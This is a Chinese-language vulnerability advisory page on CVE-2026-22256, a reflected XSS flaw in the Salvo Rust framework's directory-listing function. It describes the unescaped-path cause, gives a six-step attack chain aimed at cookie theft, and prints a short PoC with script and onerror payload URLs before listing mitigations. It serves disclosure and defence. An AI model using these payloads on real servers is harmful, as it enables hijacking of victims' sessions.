IPBUF安全漏洞报告
English
CVE-2026-22256 CVSS 8.8 高危

CVE-2026-22256 Salvo框架list_html函数反射型XSS漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-22256
漏洞类型
反射型XSS
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Salvo (Rust Web Backend Framework)

相关标签

反射型XSSSalvoRustWeb框架CVE-2026-22256高危漏洞路径注入HTML注入前端安全

漏洞概述

CVE-2026-22256是Salvo Rust Web框架中的一个高危反射型跨站脚本(XSS)漏洞。该漏洞存在于list_html函数中,该函数负责生成目录文件视图。在0.88.1版本之前,程序在生成HTML页面时直接将当前路径(current.path)插入到页面中而未进行适当的安全消毒处理。由于请求路径在路由匹配阶段会被解码和规范化,但直接插入HTML时缺少转义机制,攻击者可以通过构造特殊的URL路径注入恶意JavaScript代码。此漏洞的利用条件相对宽松,攻击者只需确保目标根路径下存在子目录(如styles、scripts等常见目录结构),使路由能够匹配到list_html页面而非返回404错误页面。成功利用此漏洞可导致攻击者在受害者浏览器中执行任意JavaScript代码,窃取敏感会话信息、劫持用户账户或进行钓鱼攻击。该漏洞CVSS评分8.8,属于高危级别,无需认证即可通过网络发起攻击,但需要诱导用户点击恶意链接。

技术细节

Salvo框架的list_html函数(位于crates/serve-static/src/dir.rs)在处理静态文件目录列表时存在安全漏洞。漏洞产生的根本原因是程序在渲染目录列表HTML模板时,直接将用户可控的请求路径(current.path)字段输出到HTML中而未进行HTML实体编码转义。当用户请求类似/files/<script>alert(1)</script>/的URL时,该路径在Salvo的路由匹配阶段会被自动解码规范化,然后直接拼接到生成的HTML页面源代码中。浏览器在解析该HTML时会将<script>标签作为有效脚本执行,从而触发XSS攻击。攻击成功的关键条件是目标应用必须存在一个可访问的根路由(如/files),且该路由下至少包含一个子目录,这样请求才会被list_html函数处理并返回目录列表页面,而非返回404 Not Found页面。攻击者利用此漏洞可以窃取用户Cookie、会话令牌,执行任意客户端操作,或进行中间人攻击。Salvo官方已在0.88.1版本中通过添加HTML转义修复了该漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用Salvo框架构建,确认存在静态文件服务路由(如/files),且该路由下存在子目录
STEP 2
步骤2: 构造恶意URL
攻击者构造包含XSS payload的恶意URL,如/files/<script>alert(document.cookie)</script>/common,利用路径解码和规范化特性绕过部分过滤
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意网站或社交工程手段诱导受害者点击或访问构造的恶意链接
STEP 4
步骤4: 触发漏洞
受害者浏览器向目标服务器发送请求,Salvo框架的list_html函数处理请求并将未消毒的用户输入直接输出到HTML中
STEP 5
步骤5: XSS执行
浏览器解析返回的HTML页面,将注入的<script>标签作为有效脚本执行,payload在受害者浏览器上下文中运行
STEP 6
步骤6: 数据窃取
攻击者通过XSS payload窃取受害者的Cookie、会话令牌或其他敏感信息,可选地进行会话劫持或账户接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22256 Reflected XSS PoC // Target: Salvo framework < 0.88.1 // Attack Type: Reflected Cross-Site Scripting // PoC URL construction (requires subdirectory under root path): const pocUrl = 'http://target-server/files/<script>alert(document.cookie)</script>/common'; // Alternative PoC with event handler (bypasses some filters): const pocUrl2 = 'http://target-server/files/<img src=x onerror=alert(1)>'; // Fetch PoC demonstrating the XSS injection: fetch(pocUrl) .then(response => response.text()) .then(html => { // Check if XSS payload is reflected without encoding if (html.includes('<script>alert(document.cookie)</script>')) { console.log('[+] XSS vulnerability confirmed!'); console.log('[+] Payload reflected in response'); } }) .catch(err => console.error('[-] Request failed:', err)); // Browser-based exploitation: // 1. Attacker crafts malicious URL with XSS payload // 2. Victim clicks link or visits page containing the URL // 3. Browser sends request to target server // 4. Server reflects unescaped payload in HTML response // 5. Browser executes injected JavaScript code // 6. Attacker steals cookies/session data via document.cookie

影响范围

Salvo < 0.88.1

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 禁用或限制静态文件目录列表功能;2) 部署WAF(Web应用防火墙)规则过滤包含<script>标签和事件处理器的请求;3) 实施严格的URL路径验证规则拒绝包含特殊字符的请求;4) 配置Web服务器返回X-Content-Type-Options: nosniff和X-XSS-Protection头;5) 建议用户使用最新的浏览器并启用XSS过滤器。注意:这些措施仅为临时解决方案,不能完全替代升级到安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表